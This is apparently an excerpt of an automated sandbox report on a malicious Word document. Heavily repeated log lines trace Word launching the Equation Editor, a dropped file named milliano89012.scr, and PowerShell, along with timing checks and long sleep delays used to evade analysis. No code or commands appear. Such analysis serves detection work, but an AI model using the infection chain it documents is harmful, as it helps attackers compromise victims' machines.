Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Memory allocated: 390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Memory allocated: 2670000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Memory allocated: AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Memory allocated: 66B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Memory allocated: 5320000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Memory allocated: 76B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Memory allocated: 55C0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Roaming\milliano89012.scr

Code function: 13_2_00DF0101 rdtsc

13_2_00DF0101

Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2986			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1628			Jump to behavior

Source: C:\Users\user\AppData\Roaming\milliano89012.scr

API coverage: 5.4 %

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3244	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr TID: 3308	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3516	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3524	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3472	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
